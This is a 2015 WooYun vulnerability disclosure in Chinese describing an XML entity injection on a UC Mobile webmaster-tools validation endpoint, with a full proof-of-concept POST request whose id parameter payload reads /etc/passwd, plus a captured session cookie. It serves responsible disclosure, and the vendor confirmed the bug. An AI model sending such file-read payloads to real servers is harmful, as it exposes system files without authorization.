当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116674

漏洞标题:UC某功能XML实体注入

相关厂商:UC Mobile

漏洞作者: 我是小号

提交时间:2015-05-28 13:58

修复时间:2015-07-12 22:54

公开时间:2015-07-12 22:54

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-28: 细节已通知厂商并且等待厂商处理中
2015-05-28: 厂商已经确认,细节仅向厂商公开
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开

简要描述:

影响有限但案例有点奇葩所以和大家分享一下

详细说明:

问题功能:

http://zhanzhang.sm.cn/open/schema


01.png


在框框里面胡乱敲了一段XML以后提交抓包,是一个POST请求:

http://zhanzhang.sm.cn/open/XmlValidate
三个参数:id xml type


id参数疑似存在SQL注射,因为传入一个单引号返回非正常数据,传入两个返回正常,我就拿起SQLMAP跑一跑结果大失所望
但是我觉得这边还是脆弱可能存在漏洞,XML相关的漏洞当然就是XXE,所以我们尝试一下是否存在XXE漏洞呢?因为在手工进行盲注测试的时候,返回的错误信息里有entity字眼,所以更加坚定这边有可能存在XXE的信念。
乌云之前的XXE案例,都是通过传入一份完整的XML文档,文档的DTD内的实体部分引用外部实体导致本地文件包含。
二哥的百度XML实体注入案例(SVG标签):
WooYun: 百度某功能XML实体注入
Xml格式文件处理不当导致XXE:
WooYun: 天翼云一处xxe漏洞可读取任意文件
然而这边非常的奇葩,按照前辈的思路本来我把重点放在xml参数上面的,传入了一个引用外部实体的Xml内容,结果毫无所获。结果在向id参数传入一个判断mysql版本的注射命令却发现了XXE,最终利用如下:

1 /*!3  /etc/passwd */


/etc/passwd一定要和前面的内容用空格隔开,UC的解析器就把它的内容包含了进来....

漏洞证明:

POC:

POST http://zhanzhang.sm.cn/open/XmlValidate HTTP/1.1
Host: zhanzhang.sm.cn
Connection: keep-alive
Content-Length: 52
Accept: */*
Origin: http://zhanzhang.sm.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://zhanzhang.sm.cn/open/schema
DontTrackMeHere: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: zhanzhang_access=gdm66s81psg4glr2pvcnkvvb75; 5bc8c4afcfc56a5f84b2d2c89d52f215=6a8f60ae0f0f39707b8e8d83fb646e76007dbac0a%3A4%3A%7Bi%3A0%3Bs%3A4%3A%223200%22%3Bi%3A1%3Bs%3A15%3A%22reed%40vip.qq.com%22%3Bi%3A2%3Bi%3A86400%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; CNZZDATA1254615503=542277219-1432558475-http%253A%252F%252Fopen.sm.cn%252F%7C1432652136
id=1+%2F*!3++%2Fetc%2Fpasswd+1%3D0*%2F&xml=11&type=3


11.png


上图红框中的内容就是etc/passwd的内容了,要复现直接导入Fiddler重新发一下包就行了

修复方案:

不知道你们后端的逻辑是怎么样的,禁止外部实体

版权声明:转载请注明来源 我是小号@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-05-28 18:14

厂商回复:

漏洞存在,已转给相关同学处理,谢谢!

最新状态:

暂无